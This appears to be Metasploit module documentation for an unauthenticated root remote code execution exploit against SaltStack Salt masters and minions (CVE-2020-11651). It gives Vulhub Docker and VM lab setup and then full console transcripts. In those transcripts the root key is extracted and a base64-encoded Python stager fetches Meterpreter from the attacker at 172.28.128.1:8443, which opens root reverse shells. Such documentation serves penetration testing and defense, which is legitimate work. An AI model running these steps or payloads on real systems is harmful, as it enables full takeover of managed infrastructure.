2020-05-10 02:33:05 -05:00
|
|
|
## Vulnerable Application
|
|
|
|
|
|
|
|
|
|
### Description
|
|
|
|
|
|
|
|
|
|
This module exploits unauthenticated access to the `runner()` and
|
|
|
|
|
`_send_pub()` methods in the SaltStack Salt master's ZeroMQ request
|
|
|
|
|
server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
|
|
|
|
|
execute code as root on either the master or on select minions.
|
|
|
|
|
|
|
|
|
|
VMware vRealize Operations Manager versions 7.5.0 through 8.1.0 are
|
|
|
|
|
known to be affected by the Salt vulnerabilities.
|
|
|
|
|
|
|
|
|
|
Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
|
|
|
|
|
well as Vulhub's Docker image.
|
|
|
|
|
|
|
|
|
|
### Setup
|
|
|
|
|
|
2020-05-12 12:27:19 -05:00
|
|
|
**Note:** I did the bulk of my testing after manually installing Salt in
|
|
|
|
|
an [Ubuntu 18.04 VM](#using-a-virtual-machine), but the [Docker image
|
|
|
|
|
from Vulhub](#using-docker) may be quicker. YMMV.
|
2020-05-10 02:33:05 -05:00
|
|
|
|
2020-05-12 12:27:19 -05:00
|
|
|
#### Using a virtual machine
|
|
|
|
|
|
|
|
|
|
1. Set up an Ubuntu 18.04 VM
|
|
|
|
|
2. Browse to [SaltStack's instructions for
|
|
|
|
|
Ubuntu](https://repo.saltstack.com/#ubuntu)
|
|
|
|
|
3. Select `Pin to Minor Release` and change all versions to either
|
|
|
|
|
**2019.2.3** or **3000.1**, depending on the version you wish to test
|
|
|
|
|
4. Follow the instructions, installing only the `salt-master` and
|
|
|
|
|
`salt-minion` packages necessary for testing
|
|
|
|
|
5. Follow the [post-installation
|
|
|
|
|
configuration](https://docs.saltstack.com/en/latest/ref/configuration/index.html)
|
|
|
|
|
|
|
|
|
|
You may now begin testing.
|
|
|
|
|
|
|
|
|
|
#### Using Docker
|
|
|
|
|
|
|
|
|
|
**Prerequisites:** [Docker](https://docs.docker.com/get-docker/) and
|
|
|
|
|
[Docker Compose](https://docs.docker.com/compose/install/) must be
|
|
|
|
|
installed first.
|
|
|
|
|
|
|
|
|
|
**Note:** The Salt master is already configured and running in the
|
|
|
|
|
following scenario. The majority of the steps below are for configuring
|
|
|
|
|
and starting the minion. Version **2019.2.3** will be used.
|
|
|
|
|
|
|
|
|
|
1. Run `git clone https://github.com/vulhub/vulhub`
|
|
|
|
|
2. Run `cd vulhub/saltstack/CVE-2020-11651`
|
|
|
|
|
3. Run `docker-compose up -d` to start the container in the background
|
|
|
|
|
4. Run `docker exec -it cve-2020-11651_saltstack_1 bash` to drop to a
|
|
|
|
|
root shell inside the container
|
|
|
|
|
5. Run `echo $'127.0.0.1\tsalt' >> /etc/hosts` to add the master to
|
|
|
|
|
`/etc/hosts` (this allows the minion to find the master)
|
|
|
|
|
6. Run `salt-minion -d` to execute the minion in the background
|
|
|
|
|
7. Run `salt-key -A` and accept the key for the minion
|
|
|
|
|
|
|
|
|
|
You may now begin testing.
|
2020-05-10 02:33:05 -05:00
|
|
|
|
|
|
|
|
## Verification Steps
|
|
|
|
|
|
|
|
|
|
Follow [Setup](#setup) and [Scenarios](#scenarios).
|
|
|
|
|
|
|
|
|
|
## Targets
|
|
|
|
|
|
|
|
|
|
### Master (Python payload)
|
|
|
|
|
|
|
|
|
|
This executes a Python payload on the master(s) specified by `RHOST(S)`.
|
|
|
|
|
|
|
|
|
|
### Master (Unix command)
|
|
|
|
|
|
|
|
|
|
This executes a Unix command payload on the master(s) specified by
|
|
|
|
|
`RHOST(S)`.
|
|
|
|
|
|
|
|
|
|
### Minions (Python payload)
|
|
|
|
|
|
|
|
|
|
This executes a Python payload on the minions specified by the `MINIONS`
|
|
|
|
|
option.
|
|
|
|
|
|
|
|
|
|
### Minions (Unix command)
|
|
|
|
|
|
|
|
|
|
This executes a Unix command payload on the minions specified by the
|
|
|
|
|
`MINIONS` option.
|
|
|
|
|
|
|
|
|
|
## Options
|
|
|
|
|
|
|
|
|
|
### MINIONS
|
|
|
|
|
|
|
|
|
|
This is the PCRE regex of minions to execute the payload on. Defaults to
|
|
|
|
|
`.*` for all minions.
|
|
|
|
|
|
|
|
|
|
### WfsDelay
|
|
|
|
|
|
|
|
|
|
Set this to the number of seconds to wait for **all** sessions to come
|
|
|
|
|
in. Defaults to **10 seconds**, though the exploit may wait up to 20
|
|
|
|
|
seconds.
|
|
|
|
|
|
|
|
|
|
## Scenarios
|
|
|
|
|
|
|
|
|
|
### SaltStack Salt 2019.2.3 on Ubuntu 18.04
|
|
|
|
|
|
|
|
|
|
#### Executing Python payload on the master
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf5 > use exploit/linux/misc/saltstack_salt_unauth_rce
|
|
|
|
|
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > show targets
|
|
|
|
|
|
|
|
|
|
Exploit targets:
|
|
|
|
|
|
|
|
|
|
Id Name
|
|
|
|
|
-- ----
|
|
|
|
|
0 Master (Python payload)
|
|
|
|
|
1 Master (Unix command)
|
|
|
|
|
2 Minions (Python payload)
|
|
|
|
|
3 Minions (Unix command)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > options
|
|
|
|
|
|
|
|
|
|
Module options (exploit/linux/misc/saltstack_salt_unauth_rce):
|
|
|
|
|
|
|
|
|
|
Name Current Setting Required Description
|
|
|
|
|
---- --------------- -------- -----------
|
|
|
|
|
MINIONS .* yes PCRE regex of minions to target
|
|
|
|
|
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
|
|
|
|
|
RPORT 4506 yes The target port (TCP)
|
|
|
|
|
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
|
|
|
|
SRVPORT 8080 yes The local port to listen on.
|
|
|
|
|
SSL false no Negotiate SSL for incoming connections
|
|
|
|
|
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
|
|
|
|
URIPATH no The URI to use for this exploit (default is random)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Payload options (python/meterpreter/reverse_https):
|
|
|
|
|
|
|
|
|
|
Name Current Setting Required Description
|
|
|
|
|
---- --------------- -------- -----------
|
|
|
|
|
LHOST yes The local listener hostname
|
|
|
|
|
LPORT 8443 yes The local listener port
|
|
|
|
|
LURI no The HTTP Path
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Exploit target:
|
|
|
|
|
|
|
|
|
|
Id Name
|
|
|
|
|
-- ----
|
|
|
|
|
0 Master (Python payload)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set rhosts 172.28.128.5
|
|
|
|
|
rhosts => 172.28.128.5
|
|
|
|
|
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set lhost 172.28.128.1
|
|
|
|
|
lhost => 172.28.128.1
|
|
|
|
|
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run
|
|
|
|
|
|
|
|
|
|
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
|
|
|
|
|
[*] 172.28.128.5:4506 - Using auxiliary/gather/saltstack_salt_root_key as check
|
|
|
|
|
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating signature
|
|
|
|
|
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending identical signature
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating version
|
|
|
|
|
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending identical version
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
|
|
|
|
|
[+] 172.28.128.5:4506 - Received NULL security mechanism
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending NULL security mechanism
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending READY command of type REQ
|
|
|
|
|
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
|
|
|
|
|
[*] 172.28.128.5:4506 - Yeeting _prep_auth_info() at 172.28.128.5:4506
|
|
|
|
|
[+] 172.28.128.5:4506 - Received serialized auth info
|
|
|
|
|
[+] 172.28.128.5:4506 - Root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk=
|
|
|
|
|
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
|
|
|
|
|
[+] 172.28.128.5:4506 - Successfully obtained root key: bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk=
|
|
|
|
|
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating signature
|
|
|
|
|
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending identical signature
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating version
|
|
|
|
|
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending identical version
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
|
|
|
|
|
[+] 172.28.128.5:4506 - Received NULL security mechanism
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending NULL security mechanism
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending READY command of type REQ
|
|
|
|
|
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
|
|
|
|
|
[*] 172.28.128.5:4506 - Executing Python payload on the master: python/meterpreter/reverse_https
|
|
|
|
|
[*] 172.28.128.5:4506 - Yeeting runner() at 172.28.128.5:4506
|
|
|
|
|
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))
|
|
|
|
|
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"runner", "fun"=>"salt.cmd", "kwarg"=>{"hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "fun"=>"cmd.exec_code", "lang"=>"python", "code"=>"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My96a0p4ZWdUdlhWeUtGcDhDMUtGZmpnTFNKOXNvcycpLnJlYWQoKSkK')[0]))"}, "user"=>"root", "key"=>"bv2Ra72DXzkrbFVYNPHrOe9CqM2aKBdl+E46/m/kaxvDsiLxhG+0PS55u704MyOi2/PgD/EadGk="}
|
|
|
|
|
[+] 172.28.128.5:4506 - Received runner() response: "\x01\x00\x00<\x82\xA3jid\xB420200510102113141303\xA3tag\xBDsalt/run/20200510102113141303"
|
|
|
|
|
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: kwpadl1s) Staging python payload (53902 bytes) ...
|
|
|
|
|
[*] Meterpreter session 1 opened (172.28.128.1:8443 -> 172.28.128.5:48236) at 2020-05-10 05:21:15 -0500
|
|
|
|
|
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: root
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : ubuntu-bionic
|
|
|
|
|
OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
|
|
|
|
|
Architecture : x64
|
|
|
|
|
System Language : C
|
|
|
|
|
Meterpreter : python/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
#### Executing Python payload on the minions
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > set target Minions\ (Python\ payload)
|
|
|
|
|
target => Minions (Python payload)
|
|
|
|
|
msf5 exploit(linux/misc/saltstack_salt_unauth_rce) > run
|
|
|
|
|
|
|
|
|
|
[*] Started HTTPS reverse handler on https://172.28.128.1:8443
|
|
|
|
|
[*] 172.28.128.5:4506 - Connecting to ZeroMQ service at 172.28.128.5:4506
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating signature
|
|
|
|
|
[+] 172.28.128.5:4506 - Received valid signature: "\xFF\x00\x00\x00\x00\x00\x00\x00\x01\x7F"
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending identical signature
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating version
|
|
|
|
|
[+] 172.28.128.5:4506 - Received compatible version: "\x03"
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending identical version
|
|
|
|
|
[*] 172.28.128.5:4506 - Negotiating NULL security mechanism
|
|
|
|
|
[+] 172.28.128.5:4506 - Received NULL security mechanism
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending NULL security mechanism
|
|
|
|
|
[*] 172.28.128.5:4506 - Sending READY command of type REQ
|
|
|
|
|
[+] 172.28.128.5:4506 - Received READY reply of type ROUTER
|
|
|
|
|
[*] 172.28.128.5:4506 - Executing Python payload on the minions: python/meterpreter/reverse_https
|
|
|
|
|
[*] 172.28.128.5:4506 - Yeeting _send_pub() at 172.28.128.5:4506
|
|
|
|
|
[*] 172.28.128.5:4506 - Executing Python code: exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))
|
|
|
|
|
[*] 172.28.128.5:4506 - Unserialized clear load: {"cmd"=>"_send_pub", "kwargs"=>{"bg"=>true, "hide_output"=>true, "ignore_retcode"=>true, "output_loglevel"=>"quiet", "show_jid"=>false, "show_timeout"=>false}, "user"=>"root", "tgt"=>".*", "tgt_type"=>"pcre", "jid"=>"20200510102150723893", "fun"=>"cmd.exec_code", "arg"=>["python", "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHN5cwp2aT1zeXMudmVyc2lvbl9pbmZvCnVsPV9faW1wb3J0X18oezI6J3VybGxpYjInLDM6J3VybGxpYi5yZXF1ZXN0J31bdmlbMF1dLGZyb21saXN0PVsnYnVpbGRfb3BlbmVyJywnSFRUUFNIYW5kbGVyJ10pCmhzPVtdCmlmICh2aVswXT09MiBhbmQgdmk+PSgyLDcsOSkpIG9yIHZpPj0oMyw0LDMpOgoJaW1wb3J0IHNzbAoJc2M9c3NsLlNTTENvbnRleHQoc3NsLlBST1RPQ09MX1NTTHYyMykKCXNjLmNoZWNrX2hvc3RuYW1lPUZhbHNlCglzYy52ZXJpZnlfbW9kZT1zc2wuQ0VSVF9OT05FCglocy5hcHBlbmQodWwuSFRUUFNIYW5kbGVyKDAsc2MpKQpvPXVsLmJ1aWxkX29wZW5lcigqaHMpCm8uYWRkaGVhZGVycz1bKCdVc2VyLUFnZW50JywnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzcuMDsgcnY6MTEuMCkgbGlrZSBHZWNrbycpXQpleGVjKG8ub3BlbignaHR0cHM6Ly8xNzIuMjguMTI4LjE6ODQ0My9hZEY5X2gxZFJrZ3BSRHhRZF9QOC1nc1V6a1hmcycpLnJlYWQoKSkK')[0]))"]}
|
|
|
|
|
[+] 172.28.128.5:4506 - Received _send_pub() response: "\x01\x00\x00\x01\xC0"
|
|
|
|
|
[*] https://172.28.128.1:8443 handling request from 172.28.128.5; (UUID: foe5rluh) Staging python payload (53883 bytes) ...
|
|
|
|
|
[*] Meterpreter session 2 opened (172.28.128.1:8443 -> 172.28.128.5:48388) at 2020-05-10 05:21:51 -0500
|
|
|
|
|
[+] 172.28.128.5:4506 - Deleted /var/cache/salt/minion/proc/20200510102150723893
|
|
|
|
|
[*] 172.28.128.5:4506 - Disconnecting from 172.28.128.5:4506
|
|
|
|
|
|
|
|
|
|
meterpreter > getuid
|
|
|
|
|
Server username: root
|
|
|
|
|
meterpreter > sysinfo
|
|
|
|
|
Computer : ubuntu-bionic
|
|
|
|
|
OS : Linux 4.15.0-91-generic #92-Ubuntu SMP Fri Feb 28 11:09:48 UTC 2020
|
|
|
|
|
Architecture : x64
|
|
|
|
|
System Language : C
|
|
|
|
|
Meterpreter : python/linux
|
|
|
|
|
meterpreter >
|
|
|
|
|
```
|